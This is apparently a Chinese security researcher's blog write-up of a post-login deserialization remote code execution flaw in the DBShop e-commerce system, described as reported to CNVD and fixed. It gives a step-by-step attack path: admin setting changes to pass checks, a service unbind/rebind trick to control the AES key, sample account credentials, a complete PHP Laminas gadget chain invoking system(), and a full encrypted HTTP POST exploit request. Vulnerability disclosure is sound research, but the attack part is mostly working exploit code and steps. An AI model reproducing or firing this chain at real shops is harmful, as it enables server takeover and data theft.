DBShop最新版后台反序列化RCE

漏洞已报送CNVD并进行相关修复

image-20210906205920685

挖掘过程

发现利用链

安装最新版DBShop https://www.dbshop.net/

首先注意到DBShop使用的是Laminas框架,先来看看它安装了什么官方组件

/config/modules.config.php

image-20210817213638671

这个组件20年末爆出过反序列化的利用链

懒得看是不是漏洞版本,在入口模块的index控制器/module/Shop/src/Controller/IndexController.php添加了一句unserialize(base64_decode($_POST['a']));

打一下payload发现直接RCE了,那接下来就是寻找一个本身存在的反序列化点

反序列化点的绕过

全局搜索了一下,发现反序列化的点基本都不可控,有些能控制输入但限制了只能是数字。。。

直到找到这个长得和其他不太一样的东西

image-20210817215329087

跟一下$data

image-20210817215711325

这是Laminas自定义的获取Post参数的函数,那我们直接能post一个dataStr从而控制值

然后看到中间部分

image-20210817220127573

需要满足这里所有的条件才能走到下面去

一个个来看,先是$delivery...相关的,这个的获取由上面的Common::readConfigFile('delivery');得到

image-20210817222406118

这个deliveryConfig被定义在了/module/Admin/src/Data/Common.php

image-20210817222641540

发现这就是商家配送的设置,然后找了一会儿来到

系统->配送方式->商家配送设置->轨迹设置

image-20210817221803242

先点选这个 珑大轨迹推送 就能让$deliveryApiType != 'longExpressPush'

然后key随便设置一下就能绕过empty($deliveryApiKey)

最下面的状态,点启动即可绕过$deliveryConfig['deliveryApiState'] != 1

然后!isset($data['dataStr']) empty($data['dataStr'])自然不用多说,post dataStr即可

最后的三个$serviceConfig[...]只要让它不为空即可绕过,同样跟一下,它由Common::readConfigFile('dbshopService');得到

同样,它也被定义到了/module/Admin/src/Data/Common.php

image-20210817223103767

又跟了一下,找到了系统->服务绑定

image-20210817223602299

这是个什么东西???看一下官方文档

https://docs.loongdomsoft.com/dbshop/system/service-bind.html

image-20210817223814562

害得创个账号,根据它的教程创建账号后来到https://member.loongdom.cn/loongdom-dbshop去创建个账号,然后点击添加网站信息

账号和标示码很关键,这里可能看不出来,后面会细说

随便输一下点击保存,就可以得到标示码了

image-20210817224041137

复制一下,拿去登录绑定

image-20210817224416017

然后/data/moduleData/System/dbshopService.php就会自动生成key

image-20210817224457527

这样就不为空了

终于,绕过了全部if语句,来到了这里

image-20210817224932134

跟了一下BlockCipher,发现这就是Laminas官方的加密类

而这里采用的就是AES,不难看出setKey($serviceConfig['key']);就是加密的密钥

即系统自动生成的这个玩意儿

image-20210817225422970

现在我们拿到了这个key,在本地搭建一个环境,然后在这里加一句

echo $blockCipher->encrypt($_GET['a']);

image-20210817232335458

加密我们的payload,然后找一下刚才 gadget 的payload,如下,生成一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
namespace Laminas\View\Resolver{
class TemplateMapResolver{
protected $map = ["setBody"=>"system"];
}
}
namespace Laminas\View\Renderer{
class PhpRenderer{
private $__helpers;
function __construct(){
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
}
}
}


namespace Laminas\Log\Writer{
abstract class AbstractWriter{}

class Mail extends AbstractWriter{
protected $eventsToMail = ["ls"]; // cmd cmd cmd
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new \Laminas\View\Renderer\PhpRenderer();
}
}
}

namespace Laminas\Log{
class Logger{
protected $writers;
function __construct(){
$this->writers = [new \Laminas\Log\Writer\Mail()];
}
}
}

namespace{
echo urlencode(serialize(new \Laminas\Log\Logger()));
}

拿去本地访问,即可得到加密payload,最后将加密的payload进行URL encode

这里又是一个小坑点了,因为AES加密后的数据有 + 这个符号,而他在post数据里会被当作空格,所以要Url encode一下

看看路由怎么访问/module/Shop/config/module.config.php

image-20210817231021644

那就是/shopPushReceive/expressPushData,如下

image-20210817231049731

一个小曲折

当时挖出来后思路卡了一下,一度认为这是个鸡肋洞,因为我们访问服务绑定会发现

image-20210817231242910

就连admin也看不到生成的key,难道要配合文件读取或者源码泄漏才能RCE吗?

后面发现,我们可以直接点击解绑

image-20210817231559893

然后/data/moduleData/System/dbshopService.phpkey又会被置空,然后重新绑定我们的账号和标示符,目标就会生成和我们自己本地一样的key

攻击流程总结

假如我们通过弱密码、钓鱼、XSS或者源码泄漏等方式进入了后台

先修改

1
系统->配送方式->商家配送设置->轨迹设置

配送轨迹接口为 珑大轨迹推送

key随便设置,状态点启用

image-20210817232535809

然后去Dbshop官网注册一个账号,生成你的标识码

image-20210817232759938

后来到

1
系统->服务绑定

如果目标已经绑定了就先解绑,再绑定,没有绑定的话就直接绑定

image-20210818022500480

这里的账号需要去官网注册 https://member.loongdom.cn/loongdom-dbshop

然后再生成标示码(注册和生成标示码都免费)

为了方便测试,这里这里给一组数据

用户名:ttpfx

标示码:W8DUzTbmAErkplfvtyjO003YnY58ruYNdoBhs85GEaJJU18Npr4xVUk3xgqefZyO

image-20210817232817759

然后从官网下载源码,本地搭一个环境,修改/module/Shop/src/Controller/PushReceiveController.php

(注意本地也要做上面同样的操作,即修改 服务绑定轨迹设置

image-20210817232948839

用来生成加密payload

先运行下面脚本得到未加密的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

namespace Laminas\View\Resolver{
class TemplateMapResolver{
protected $map = ["setBody"=>"system"];
}
}
namespace Laminas\View\Renderer{
class PhpRenderer{
private $__helpers;
function __construct(){
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
}
}
}


namespace Laminas\Log\Writer{
abstract class AbstractWriter{}

class Mail extends AbstractWriter{
protected $eventsToMail = ["ls"]; // cmd cmd cmd
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new \Laminas\View\Renderer\PhpRenderer();
}
}
}

namespace Laminas\Log{
class Logger{
protected $writers;
function __construct(){
$this->writers = [new \Laminas\Log\Writer\Mail()];
}
}
}

namespace{
echo urlencode(serialize(new \Laminas\Log\Logger()));
}

然后去访问/shopPushReceive/expressPushData?a=生成的Payload,同时还要post一个dataStr,即可得到加密后的payload

比如我这里得到的就是mtAvh6CLJJx2cKsssUoY0LsaFJTFYgHRoDhXQ1H7sGV9wF6IlaT/DQ6Xv0k7Ze0SoP0EmLXMFgg3V16cQkA9XTKwyX0iudjCy2ZS3pWxKYseEXNDGAOvAMw6LuR9q7qiwc3Cen5f2OrtYQjoH+Znh3uOmFBV1+CMj3G+JhaMrkn0d+A8OTWPIMgAdj4v28kIa9GlFAkTInZrj7aMsI524uOH9u9fmArwndXPf1FDnMMVLuliIIn+Ixlzv09nU9QwplJdnUIs/gNeR0jHQhz2GTMOTtyjRI7UsQww9R3pGALM3rZSHYWTQSDmGbyvIkvR05uX8pn7ZZBggzaLVxqn7N2D7DKkArW8rRWYheJ/1a3KUg0oKXH6qWxNb644oFuAW9cjyBodUiVBfz+TgkE/ziz8eA7Z2PBhPO7kpRo0c6xavQJxgy5dbV2xAN9CzrZb4cjdXfHJA8MbHT8z2jHmqe4Zbd31bt1QLCyDuYGjwkYYamnmhOnD4iZHxj9l+0t1FdtXIcTgDeExblHArpftDkg9TawUWv610mrWag==

image-20210818023931725

然后url编码后拿到dataStr去打就是

如果是此时是本地复现,不是拿去远程打的话,记得去掉添加的那句

echo $blockCipher->encrypt($_GET[‘a’]);

否则会攻击失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /shopPushReceive/expressPushData HTTP/1.1
Host: test.cn
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=ns22j2kdr2oklrea7kneqqvrtd
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1664

dataStr=%75%68%6c%58%34%69%75%75%61%34%43%2b%6f%35%65%63%50%35%37%57%4a%37%37%6c%4a%79%2f%4d%39%57%6c%35%30%4f%78%67%31%4d%42%62%69%6a%4e%70%53%4b%76%52%6f%46%76%70%6e%57%30%4c%73%6b%75%78%66%5a%6f%4f%33%52%35%62%54%68%50%38%61%51%4c%32%57%35%52%47%4f%6c%47%59%33%58%42%35%4c%54%39%74%6a%6f%6e%30%53%31%35%57%53%73%65%75%79%55%67%4b%71%4e%6d%44%7a%44%6f%6d%4c%4b%4f%55%42%4f%4d%43%70%6b%62%64%63%45%6b%74%33%74%7a%67%67%77%6e%73%4c%2f%42%79%2b%48%6c%35%37%58%65%64%31%75%73%41%63%35%70%5a%6e%62%62%77%68%33%6e%6d%6f%66%44%41%59%5a%4c%78%51%39%41%72%53%55%54%47%68%56%2b%79%6d%30%62%57%44%6f%4a%62%74%63%54%32%36%74%6f%70%33%35%69%52%48%45%47%77%4c%7a%59%7a%6e%67%52%36%75%4f%67%6a%54%64%72%37%38%54%4c%6f%48%4f%6d%37%33%32%68%2b%48%52%45%2f%47%52%56%59%78%2b%54%6a%42%77%6b%48%57%56%37%68%61%2b%78%67%6e%79%50%4b%53%65%44%2f%46%6e%46%76%75%38%45%7a%31%33%76%6c%75%65%46%53%4e%75%4b%48%57%58%61%32%52%6e%4d%33%52%49%63%50%39%2b%31%78%2f%6c%4a%56%56%34%67%6e%42%74%4e%2b%55%65%76%4e%43%51%37%6b%54%58%66%34%57%67%6b%52%65%47%78%31%2f%52%4b%37%50%47%44%64%44%6c%49%6a%74%70%45%62%61%39%7a%64%34%59%33%52%58%75%7a%41%4e%66%42%4a%38%55%56%47%76%47%75%7a%78%51%47%4c%2b%75%6d%7a%49%30%30%59%52%72%78%6e%71%4d%77%57%4e%6c%71%78%66%43%73%5a%6c%2f%63%32%48%39%51%76%79%2b%47%42%61%56%62%52%68%6f%32%46%7a%58%4e%4a%68%30%65%4d%50%76%6d%37%6b%52%70%33%43%38%52%61%55%67%5a%66%78%72%59%62%68%66%32%6b%32%38%52%49%6b%6b%54%4a%79%79%38%68%72%55%52%33%61%34%75%64%35%2b%38%7a%45%54%31%59%77%44%4b%46%66%66%47%48%63%54%67%50%38%52%46%72%2b%50%6c%49%6a%34%48%52%6b%6c%71%5a%48%6a%4e%4e%7a%69%56%4d%48%50%5a%74%53%39%38%42%4e%41%52%77%2f%58%7a%49%31%31%32%42%4a%31%34%33%6e%77%3d%3d
image-20210817233403916

评论